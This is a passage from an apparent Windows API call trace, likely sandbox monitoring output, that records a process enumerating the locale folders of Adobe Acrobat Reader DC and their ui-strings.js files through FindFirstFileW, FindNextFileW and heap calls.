lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.643] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0253.643] GetProcessHeap () returned 0xc10000 [0253.644] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.644] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.644] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.644] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.645] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.645] GetProcessHeap () returned 0xc10000 [0253.645] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.645] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0253.645] GetProcessHeap () returned 0xc10000 [0253.645] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.646] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.646] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x46ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.647] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x46ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.647] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.647] GetProcessHeap () returned 0xc10000 [0253.647] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.647] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0253.648] GetProcessHeap () returned 0xc10000 [0253.648] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.649] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.649] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3fc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.649] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3fc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.650] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.650] GetProcessHeap () returned 0xc10000 [0253.650] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.650] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0253.650] GetProcessHeap () returned 0xc10000 [0253.650] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.651] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.651] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x393f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.652] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x393f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.652] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.652] GetProcessHeap () returned 0xc10000 [0253.652] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.652] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0253.652] GetProcessHeap () returned 0xc10000 [0253.652] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.653] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.653] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3ea9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.856] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3ea9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.856] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.856] GetProcessHeap () returned 0xc10000 [0253.857] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.857] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0253.857] GetProcessHeap () returned 0xc10000 [0253.857] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.857] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.859] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.859] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.859] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.859] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.859] GetProcessHeap () returned 0xc10000 [0253.859] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.859] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0253.859] GetProcessHeap () returned 0xc10000 [0253.859] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.860] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.860] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.861] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.861] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.862] GetProcessHeap () returned 0xc10000 [0253.862] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.862] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0253.862] GetProcessHeap () returned 0xc10000 [0253.862] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.862] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.863] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.863] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3eea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.864] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3eea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.864] FindClose (in: hFindFile=0x33e4ea8 | out: 